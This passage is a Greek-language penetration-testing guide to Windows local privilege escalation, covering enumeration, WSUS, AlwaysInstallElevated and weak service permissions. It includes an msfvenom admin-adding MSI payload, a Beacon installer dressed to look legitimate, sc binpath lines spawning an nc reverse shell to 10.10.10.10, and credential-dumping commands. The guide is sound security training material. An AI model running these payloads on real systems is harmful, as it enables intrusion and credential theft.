# Windows Local Privilege Escalation {{#include ../../banners/hacktricks-training.md}} ### **Καλύτερο εργαλείο για την αναζήτηση Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ## Αρχική θεωρία για Windows ### Access Tokens **Αν δεν ξέρετε τι είναι τα Windows Access Tokens, διαβάστε την παρακάτω σελίδα πριν συνεχίσετε:** {{#ref}} access-tokens.md {{#endref}} ### ACLs - DACLs/SACLs/ACEs **Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με ACLs - DACLs/SACLs/ACEs:** {{#ref}} acls-dacls-sacls-aces.md {{#endref}} ### Integrity Levels **Αν δεν ξέρετε τι είναι τα integrity levels στα Windows, θα πρέπει να διαβάσετε την παρακάτω σελίδα πριν συνεχίσετε:** {{#ref}} integrity-levels.md {{#endref}} ## Έλεγχοι ασφάλειας στα Windows Υπάρχουν διάφορα στοιχεία στα Windows που μπορούν να σας **εμποδίσουν να πραγματοποιήσετε την καταγραφή του συστήματος**, να εκτελέσετε εκτελέσιμα αρχεία ή ακόμα και να **ανιχνεύσουν τις δραστηριότητές σας**. Πρέπει να **διαβάσετε** την παρακάτω **σελίδα** και να **καταγράψετε** όλους αυτούς τους **μηχανισμούς** **άμυνας** πριν ξεκινήσετε την privilege escalation enumeration: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} ## Πληροφορίες Συστήματος ### Έλεγχος πληροφοριών έκδοσης Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τις εφαρμοσμένες επιδιορθώσεις). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture ``` ```bash [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ### Εκμεταλλεύσεις ανά έκδοση This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **τεράστια επιφάνεια επίθεσης** that a Windows environment presents. **Στο σύστημα** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) - [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ **Τοπικά με πληροφορίες συστήματος** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) **Αποθετήρια Github με exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) - [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) ### Περιβάλλον Έχουν αποθηκευτεί διαπιστευτήρια/Juicy πληροφορίες στις μεταβλητές περιβάλλοντος (env variables); ```bash set dir env: Get-ChildItem Env: | ft Key,Value -AutoSize ``` ### PowerShell Ιστορικό ```bash ConsoleHost_history #Find the PATH where is saved type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### Αρχεία PowerShell Transcript Μπορείτε να μάθετε πώς να το ενεργοποιήσετε στο [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription dir C:\Transcripts #Start a Transcription session Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber Stop-Transcript ``` ### PowerShell Module Logging Καταγράφονται λεπτομέρειες των εκτελέσεων του PowerShell pipeline, που περιλαμβάνουν εκτελεσμένες εντολές, κλήσεις εντολών και τμήματα scripts. Ωστόσο, ενδέχεται να μην καταγράφονται πλήρως όλες οι λεπτομέρειες εκτέλεσης και τα αποτελέσματα εξόδου. Για να το ενεργοποιήσετε, ακολουθήστε τις οδηγίες στην ενότητα "Transcript files" της τεκμηρίωσης, επιλέγοντας **"Module Logging"** αντί για **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` Για να δείτε τα τελευταία 15 συμβάντα από τα PowersShell logs μπορείτε να εκτελέσετε: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** Καταγράφεται πλήρες ιστορικό και το πλήρες περιεχόμενο της εκτέλεσης του script, εξασφαλίζοντας ότι κάθε block of code τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα ολοκληρωμένο audit trail για κάθε ενέργεια, πολύτιμο για forensics και την ανάλυση κακόβουλης συμπεριφοράς. Με την καταγραφή όλης της δραστηριότητας κατά τον χρόνο εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` Τα συμβάντα καταγραφής για το Script Block μπορούν να εντοπιστούν στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Για να δείτε τα τελευταία 20 συμβάντα μπορείτε να χρησιμοποιήσετε: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` ### Ρυθμίσεις Διαδικτύου ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ``` ### Δίσκοι ```bash wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ## WSUS Μπορείτε να παραβιάσετε το σύστημα εάν οι ενημερώσεις ζητούνται μέσω http αντί για http**S**. Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί ενημέρωση WSUS χωρίς SSL εκτελώντας τα εξής στο cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` Ή το εξής στο PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` Εάν λάβετε μια απάντηση όπως κάποια από αυτές: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 ``` ```bash WUServer : http://xxxx-updxx.corp.internal.com:8530 PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` Και αν `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ή `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` ισούται με `1`. Τότε, **είναι εκμεταλλεύσιμο.** Αν το τελευταίο κλειδί μητρώου ισούται με 0, τότε η καταχώρηση WSUS θα αγνοηθεί. Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Πρόκειται για scripts εκμετάλλευσης MiTM που εγχέουν 'fake' ενημερώσεις στην non-SSL WSUS κίνηση. Διαβάστε την έρευνα εδώ: {{#file}} CTX_WSUSpect_White_Paper (1).pdf {{#endfile}} **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ Στην ουσία, αυτή είναι η ευπάθεια που εκμεταλλεύεται αυτό το bug: > Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό proxy του χρήστη, και τα Windows Updates χρησιμοποιούν τον proxy ρυθμισμένο στις ρυθμίσεις του Internet Explorer, τότε έχουμε τη δυνατότητα να τρέξουμε το [PyWSUS](https://github.com/GoSecure/pywsus) τοπικά για να παρεμποδίσουμε την δική μας κίνηση και να εκτελέσουμε κώδικα ως αυξημένος χρήστης στο asset μας. > > Επιπλέον, αφού η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης και το certificate store του. Αν δημιουργήσουμε ένα self-signed certificate για το hostname του WSUS και προσθέσουμε αυτό το πιστοποιητικό στο certificate store του τρέχοντος χρήστη, θα είμαστε σε θέση να παρεμποδίσουμε τόσο την HTTP όσο και την HTTPS κίνηση WSUS. Το WSUS δεν χρησιμοποιεί μηχανισμούς τύπου HSTS για να εφαρμόσει ένα trust-on-first-use είδους επικύρωσης στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι αξιόπιστο από τον χρήστη και έχει το σωστό hostname, θα γίνει αποδεκτό από την υπηρεσία. Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια χρησιμοποιώντας το εργαλείο [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (μόλις απελευθερωθεί). ## Auto-Updaters τρίτων και Agent IPC (local privesc) Πολλοί enterprise agents εκθέτουν μια επιφάνεια localhost IPC και ένα privileged update κανάλι. Αν η enrollment μπορεί να εξαναγκαστεί σε έναν attacker server και ο updater εμπιστεύεται ένα rogue root CA ή έχει αδύναμους ελέγχους υπογραφής, ένας τοπικός χρήστης μπορεί να παραδώσει ένα κακόβουλο MSI που η υπηρεσία SYSTEM θα εγκαταστήσει. Δείτε μια γενικευμένη τεχνική (βασισμένη στην αλυσίδα Netskope stAgentSvc – CVE-2025-0309) εδώ: {{#ref}} abusing-auto-updaters-and-ipc.md {{#endref}} ## KrbRelayUp Μια **local privilege escalation** ευπάθεια υπάρχει σε περιβάλλοντα Windows **domain** υπό συγκεκριμένες συνθήκες. Αυτές οι συνθήκες περιλαμβάνουν περιβάλλοντα όπου **LDAP signing is not enforced**, οι χρήστες διαθέτουν self-rights που τους επιτρέπουν να ρυθμίσουν την **Resource-Based Constrained Delegation (RBCD)**, και την ικανότητα για τους χρήστες να δημιουργούν υπολογιστές μέσα στο domain. Είναι σημαντικό να σημειωθεί ότι αυτές οι **requirements** ικανοποιούνται με τις **default settings**. Βρείτε το **exploit** στο [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) Για περισσότερες πληροφορίες σχετικά με τη ροή της επίθεσης δείτε [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated **Αν** αυτά τα 2 κλειδιά είναι **ενεργοποιημένα** (η τιμή είναι **0x1**), τότε χρήστες οποιουδήποτε προνομίου μπορούν να **εγκαταστήσουν** (εκτελέσουν) `*.msi` αρχεία ως NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` ### Metasploit payloads ```bash msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` Αν έχετε μια meterpreter συνεδρία, μπορείτε να αυτοματοποιήσετε αυτήν την τεχνική χρησιμοποιώντας το module **`exploit/windows/local/always_install_elevated`** ### PowerUP Χρησιμοποιήστε την εντολή `Write-UserAddMSI` από το power-up για να δημιουργήσετε στον τρέχοντα κατάλογο ένα Windows MSI binary για την κλιμάκωση προνομίων. Αυτό το σενάριο εξάγει έναν προμεταγλωττισμένο MSI εγκαταστάτη που ζητά την προσθήκη χρήστη/ομάδας (οπότε θα χρειαστείτε πρόσβαση GIU): ``` Write-UserAddMSI ``` Απλά εκτελέστε το δημιουργημένο binary για να αυξήσετε τα προνόμια. ### MSI Wrapper Διαβάστε αυτόν τον οδηγό για να μάθετε πώς να δημιουργήσετε έναν MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να ενσωματώσετε ένα "**.bat**" αρχείο αν απλώς θέλετε να **εκτελέσετε** **εντολές** {{#ref}} msi-wrapper.md {{#endref}} ### Create MSI with WIX {{#ref}} create-msi-with-wix.md {{#endref}} ### Create MSI with Visual Studio - **Δημιουργήστε** με Cobalt Strike ή Metasploit ένα **Windows EXE TCP payload** στο `C:\privesc\beacon.exe` - Ανοίξτε **Visual Studio**, επιλέξτε **Create a new project** και πληκτρολογήστε "installer" στο πεδίο αναζήτησης. Επιλέξτε το project **Setup Wizard** και κάντε κλικ στο **Next**. - Δώστε στο project ένα όνομα, όπως **AlwaysPrivesc**, χρησιμοποιήστε **`C:\privesc`** για την τοποθεσία, επιλέξτε **place solution and project in the same directory**, και κάντε κλικ στο **Create**. - Συνεχίστε να κάνετε κλικ στο **Next** μέχρι να φτάσετε στο βήμα 3 από 4 (choose files to include). Κάντε κλικ στο **Add** και επιλέξτε το Beacon payload που μόλις δημιουργήσατε. Έπειτα κάντε κλικ στο **Finish**. - Επιλέξτε το project **AlwaysPrivesc** στο **Solution Explorer** και στις **Properties**, αλλάξτε το **TargetPlatform** από **x86** σε **x64**. - Υπάρχουν και άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως τα **Author** και **Manufacturer**, τα οποία μπορούν να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη. - Κάντε δεξί κλικ στο project και επιλέξτε **View > Custom Actions**. - Κάντε δεξί κλικ στο **Install** και επιλέξτε **Add Custom Action**. - Κάντε διπλό κλικ στο **Application Folder**, επιλέξτε το αρχείο **beacon.exe** και πατήστε **OK**. Αυτό θα διασφαλίσει ότι το Beacon payload θα εκτελείται μόλις τρέξει ο installer. - Στις **Custom Action Properties**, αλλάξτε το **Run64Bit** σε **True**. - Τέλος, **κάντε build**. - Αν εμφανιστεί η προειδοποίηση `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, βεβαιωθείτε ότι έχετε ορίσει την πλατφόρμα σε x64. ### MSI Installation Για να εκτελέσετε την **εγκατάσταση** του κακόβουλου `.msi` αρχείου στο **background:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` Για να εκμεταλλευτείτε αυτή την ευπάθεια μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_ ## Antivirus και Ανιχνευτές ### Ρυθμίσεις Ελέγχου Αυτές οι ρυθμίσεις καθορίζουν τι **καταγράφεται**, οπότε πρέπει να δώσετε προσοχή ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF Windows Event Forwarding, είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα logs ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS **LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, εξασφαλίζοντας ότι κάθε κωδικός είναι **μοναδικός, τυχαιοποιημένος και ενημερώνεται τακτικά** σε υπολογιστές που είναι ενταγμένοι σε domain. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες στους οποίους έχουν χορηγηθεί τα κατάλληλα δικαιώματα μέσω ACLs, επιτρέποντάς τους να βλέπουν τους τοπικούς κωδικούς διαχειριστή εφόσον είναι εξουσιοδοτημένοι. {{#ref}} ../active-directory-methodology/laps.md {{#endref}} ### WDigest Εάν είναι ενεργό, **οι κωδικοί σε απλό κείμενο αποθηκεύονται στο LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection Από τα **Windows 8.1**, η Microsoft εισήγαγε ενισχυμένη προστασία για το Local Security Authority (LSA) ώστε να **block** τις προσπάθειες μη αξιόπιστων διεργασιών να **read its memory** ή inject code, ενισχύοντας περαιτέρω την ασφάλεια του συστήματος.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection) ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard **Credential Guard** εισήχθη στα **Windows 10**. Ο σκοπός του είναι να προστατεύει τα credentials που είναι αποθηκευμένα σε μια συσκευή από απειλές όπως επιθέσεις pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Αποθηκευμένα Διαπιστευτήρια **Διαπιστευτήρια domain** αυθεντικοποιούνται από την **Τοπική Αρχή Ασφαλείας** (LSA) και χρησιμοποιούνται από τα συστατικά του λειτουργικού συστήματος. Όταν τα στοιχεία σύνδεσης ενός χρήστη αυθεντικοποιούνται από ένα καταχωρημένο security package, συνήθως δημιουργούνται διαπιστευτήρια domain για τον χρήστη.\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` ## Χρήστες & Ομάδες ### Απαρίθμηση Χρηστών & Ομάδων Πρέπει να ελέγξετε εάν κάποια από τις ομάδες στις οποίες ανήκετε διαθέτει ενδιαφέροντα δικαιώματα. ```bash # CMD net users %username% #Me net users #All local users net localgroup #Groups net localgroup Administrators #Who is inside Administrators group whoami /all #Check the privileges # PS Get-WmiObject -Class Win32_UserAccount Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Ομάδες με προνόμια Εάν **ανήκετε σε κάποια ομάδα με προνόμια, μπορεί να μπορέσετε να ανεβάσετε τα προνόμιά σας**. Μάθετε για τις ομάδες με προνόμια και πώς να τις εκμεταλλευτείτε για να αυξήσετε τα προνόμια εδώ: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} ### Διαχείριση token **Μάθετε περισσότερα** για το τι είναι ένα **token** σε αυτή τη σελίδα: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ Δείτε την επόμενη σελίδα για να **μάθετε για ενδιαφέροντα tokens** και πώς να τα εκμεταλλευτείτε: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} ### Συνδεδεμένοι χρήστες / Συνεδρίες ```bash qwinsta klist sessions ``` ### Φάκελοι χρήστη ```bash dir C:\Users Get-ChildItem C:\Users ``` ### Πολιτική Κωδικών Πρόσβασης ```bash net accounts ``` ### Λήψη του περιεχομένου του πρόχειρου ```bash powershell -command "Get-Clipboard" ``` ## Εκτελούμενες Διεργασίες ### Δικαιώματα Αρχείων και Φακέλων Πρώτα απ' όλα, καταγράφοντας τις διεργασίες, **ελέγξτε για κωδικούς μέσα στη γραμμή εντολών της διεργασίας**.\ Ελέγξτε αν μπορείτε να **επαναγράψετε κάποιο εκτελούμενο binary** ή αν έχετε δικαιώματα εγγραφής στον φάκελο των binaries για να εκμεταλλευτείτε πιθανές [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes #With allowed Usernames Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` Ελέγχετε πάντα για πιθανούς [**electron/cef/chromium debuggers** που τρέχουν — μπορείτε να τα εκμεταλλευτείτε για να αναβαθμίσετε προνόμια](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Έλεγχος δικαιωμάτων των binaries των διεργασιών** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ) ``` **Έλεγχος δικαιωμάτων των φακέλων των δυαδικών αρχείων των διεργασιών (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` ### Memory Password mining Μπορείς να δημιουργήσεις ένα memory dump ενός running process χρησιμοποιώντας **procdump** από sysinternals. Υπηρεσίες όπως το FTP έχουν τα **credentials in clear text in memory**, δοκίμασε να κάνεις dump της memory και να διαβάσεις τα credentials. ```bash procdump.exe -accepteula -ma ``` ### Ανασφαλείς GUI εφαρμογές **Οι εφαρμογές που εκτελούνται ως SYSTEM ενδέχεται να επιτρέπουν σε έναν χρήστη να ανοίξει ένα CMD ή να περιηγηθεί σε καταλόγους.** Παράδειγμα: "Windows Help and Support" (Windows + F1), αναζητήστε "command prompt", κάντε κλικ στο "Click to open Command Prompt" ## Υπηρεσίες Λήψη λίστας υπηρεσιών: ```bash net start wmic service list brief sc query Get-Service ``` ### Δικαιώματα Μπορείτε να χρησιμοποιήσετε **sc** για να λάβετε πληροφορίες για μια υπηρεσία ```bash sc qc ``` Συνιστάται να έχετε το binary **accesschk** από το _Sysinternals_ για να ελέγξετε το απαιτούμενο επίπεδο προνομίων για κάθε service. ```bash accesschk.exe -ucqv #Check rights for different groups ``` Συνιστάται να ελεγχθεί αν οι "Authenticated Users" μπορούν να τροποποιήσουν οποιαδήποτε υπηρεσία: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` [Μπορείτε να κατεβάσετε το accesschk.exe για XP από εδώ](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### Ενεργοποίηση υπηρεσίας Εάν λαμβάνετε αυτό το σφάλμα (για παράδειγμα με SSDPSRV): _Παρουσιάστηκε σφάλμα συστήματος 1058._\ _Η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν υπάρχουν ενεργοποιημένες συσκευές συνδεδεμένες με αυτήν._ Μπορείτε να την ενεργοποιήσετε χρησιμοποιώντας ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Λάβετε υπόψη ότι η υπηρεσία upnphost εξαρτάται από την SSDPSRV για να λειτουργήσει (για XP SP1)** **Μια άλλη παράκαμψη** αυτού του προβλήματος είναι η εκτέλεση: ``` sc.exe config usosvc start= auto ``` ### **Τροποποίηση της διαδρομής εκτελέσιμου της υπηρεσίας** Στο σενάριο όπου η ομάδα "Authenticated users" διαθέτει **SERVICE_ALL_ACCESS** για μια υπηρεσία, είναι δυνατή η τροποποίηση του εκτελέσιμου αρχείου της υπηρεσίας. Για να τροποποιήσετε και να εκτελέσετε το **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe" sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` ### Επανεκκίνηση υπηρεσίας ```bash wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` Τα προνόμια μπορούν να κλιμακωθούν μέσω διαφόρων δικαιωμάτων: - **SERVICE_CHANGE_CONFIG**: Επιτρέπει την επαναδιαμόρφωση του εκτελέσιμου αρχείου της υπηρεσίας. - **WRITE_DAC**: Επιτρέπει την επαναδιαμόρφωση των permissions, οδηγώντας στη δυνατότητα αλλαγής ρυθμίσεων υπηρεσίας. - **WRITE_OWNER**: Επιτρέπει απόκτηση ιδιοκτησίας και επαναδιαμόρφωση permissions. - **GENERIC_WRITE**: Κληρονομεί τη δυνατότητα αλλαγής ρυθμίσεων υπηρεσίας. - **GENERIC_ALL**: Επίσης κληρονομεί τη δυνατότητα αλλαγής ρυθμίσεων υπηρεσίας. Για την ανίχνευση και exploitation αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το _exploit/windows/local/service_permissions_. ### Αδύναμα δικαιώματα στα binaries των υπηρεσιών **Ελέγξτε αν μπορείτε να τροποποιήσετε το binary που εκτελείται από μια υπηρεσία** ή αν έχετε **write permissions στον φάκελο** όπου βρίσκεται το binary ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ Μπορείτε να λάβετε κάθε binary που εκτελείται από μια υπηρεσία χρησιμοποιώντας **wmic** (όχι στο system32) και να ελέγξετε τα permissions σας χρησιμοποιώντας **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` Μπορείτε επίσης να χρησιμοποιήσετε **sc** και **icacls**: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` ### Δικαιώματα τροποποίησης μητρώου υπηρεσιών Πρέπει να ελέγξετε αν μπορείτε να τροποποιήσετε οποιοδήποτε μητρώο υπηρεσίας.\ Μπορείτε να **ελέγξετε** τα **δικαιώματά** σας πάνω σε ένα **μητρώο υπηρεσίας** κάνοντας: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services #Try to write every service with its current content (to check if you have write permissions) for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` Πρέπει να ελεγχθεί εάν οι **Authenticated Users** ή **NT AUTHORITY\INTERACTIVE** κατέχουν δικαιώματα `FullControl`. Αν ναι, το binary που εκτελείται από την υπηρεσία μπορεί να αλλαχθεί. Για να αλλάξετε το `Path` του binary που εκτελείται: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` ### Services registry AppendData/AddSubdirectory permissions Εάν έχετε αυτό το δικαίωμα πάνω σε ένα registry, αυτό σημαίνει ότι **μπορείτε να δημιουργήσετε υπο-registries από αυτό**. Σε περίπτωση Windows services αυτό είναι **αρκετό για να εκτελέσετε αυθαίρετο κώδικα:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} ### Unquoted Service Paths Εάν το μονοπάτι προς ένα εκτελέσιμο αρχείο δεν βρίσκεται μέσα σε εισαγωγικά, τα Windows θα προσπαθήσουν να εκτελέσουν κάθε τμήμα της διαδρομής που τελειώνει πριν από κάθε κενό. Για παράδειγμα, για το μονοπάτι _C:\Program Files\Some Folder\Service.exe_ τα Windows θα προσπαθήσουν να 